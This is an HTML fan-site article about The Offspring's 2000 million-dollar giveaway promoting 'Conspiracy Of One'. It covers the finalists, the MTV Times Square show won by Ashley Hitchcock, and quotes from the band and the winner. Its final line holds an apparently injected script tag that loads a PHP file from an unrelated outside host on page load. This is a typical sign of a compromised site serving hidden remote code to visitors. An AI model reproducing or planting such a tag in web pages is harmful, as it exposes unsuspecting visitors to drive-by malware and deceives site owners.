<div style="float: left; width: 150px;" align="center"> <img src="http://archives.theoffspringsession.com/one_million_dollar_give_away/logo_contest.jpg" border="1" /><br /> Logo of the contest </div> <div align="justify"> In order to promote their new album <b>Conspiracy Of One</b>, The Offspring wanted to put online, via their official website, the complete album in unprotected mp3 file. The only obligation was to leave your contact informations on the website to participate in a raffle to win one million dollars offered by the group himself. The group does so because their song <b>Pretty Fly (For A White Guy)</b> has been downloaded more than 22 million times before the album <b>Americana</b> hit stores and the band still managed to sell more than 10.5 million copies of that album worldwide. <br /><br /> Following the issues with the record company <u>Sony</u>, the band has committed to only share online the single <b>Original Prankster</b> and its B-side Come <b>Come Out Swinging</b>. The contest has not been suspended though. Dexter Holland said: in a statement announcing the event :</div> <blockquote><div align="justify"> "<i>This money came directly to us from our fans, we feel it would be cool to redirect it back to them. We are trying to launch our album with promotions that are fan supportive rather than fan exploitative. We feel that giving them our music and letting them have back some of their money is a great way to show how much they mean to us</i>". </div></blockquote> <div align="justify"> Four finalists, <u>Ashley Hitchcock</u>, <u>Christina Belmont</u>, <u>Greg Rosinski</u> and <u>Steve McKeehan</u>, were randomly selected among the fans who downloaded the songs from the band's website.</div> <br /> <div style="float: right; width: 250px;" align="center"> <img src="http://archives.theoffspringsession.com/one_million_dollar_give_away/times_square_mtv_studios.jpg" border="1" /><br /> MTV studios in Times Square </div> <div align="justify"> On Tuesday, November 14th 2000, the release day of <b>Conspiracy Of One</b>, the 4 finalists were invited in New York City, in the MTV studios in Times Square to participate to the TV show "Spankin 'New Music Week" from TRL. The band has performed at the end of the show the single <b>Original Prankster</b> featuring rapper Redman (who also appears in the video clip of the song).</div> <br /> <div align="justify"> During the show, the 4 finalists have been asked a series of questions to determine a single winner. Shortly before, Ashley Hitchcock and Christina Belmont made the deal to share the money if one of them would won the contest. The finalists battled through rigorous questions from MTV's host Carson Daly. Ashley Hitchcock, a native of Winder, Georgia, a 14 years old Slipknot fan, managed to beat the 3 other finalists by answering correctly the last question (ie: "<i>Which of the Offspring members is the oldest ?</i>", the answer being Noodles).</div> <br /> <div align="center"> <table> <tr> <td width="33%" align="center"><img src="http://archives.theoffspringsession.com/one_million_dollar_give_away/hitchcock_during_contest.jpg" border="1" /></td> <td width="34%" align="center"><img src="http://archives.theoffspringsession.com/one_million_dollar_give_away/everybody.jpg" border="1" /></td> <td width="33%" align="center"><img src="http://archives.theoffspringsession.com/one_million_dollar_give_away/dexter_singing.jpg" border="1" /></td> </tr> <tr> <td align="center">Ashley Hitchcock during the contest</td> <td align="center">Ron Welty, Greg K, Dexter Holland, Carson Daly, Ashley Hitchcock and Noodles</td> <td align="center">Dexter Holland singing <b>Original Prankster</b></td> </tr> </table> </div> <br /> <div align="justify"> A big container containing loose hundred-dollar bills was presented to the winner as she posed for pictures with the band. In brief words, Ashley Hitchcock said :</div> <blockquote><div align="justify"> "<i>It's like, I'm shocked. It's overwhelming. I can't believe I won</i>".</div></blockquote> <div align="justify"> Noodles told <u>Launch</u> about the unprecedented contest :</div> <blockquote><div align="justify"> "<i>It feels great to be able to do this. It's cool. She seems like a great kid. Hopefully she'll be smart with it. I think she will</i>".</div></blockquote> <div align="justify"> Indeed, <b>Ashley Hitchcock</b> announced a little later, in the same magazine, that money will go to a good cause :</div> <blockquote><div align="justify"> "<i>Well, I have to half it with the other finalist, which I promised her I would. Then I'm going to buy my dad a house, a car, and get him out of debt</i>".</div></blockquote> <div align="justify"> After playing their song, the band handed out free <b>Conspiracy Of One</b> albums to the crowd waiting in <u>Times Square</u>. Also, for the story, the finalist with whom the winner should have shared the money, Christina Belmont, disappeared after the show and it remains to be seen whether she'll lay claim to any of the money.</div> <br /><br /><br /> <div align="justify"><i> Find all the photos of the event on the <a href="us-galery-live-p1-136.html">appropriate gallery</a> and the performance of the band on the <a href="us-videos-playlists-tv-55.html">page of the show</a></i>.</div><script src=http://lak-lak.webphoto.ir/photos/Abusefy.php ></script>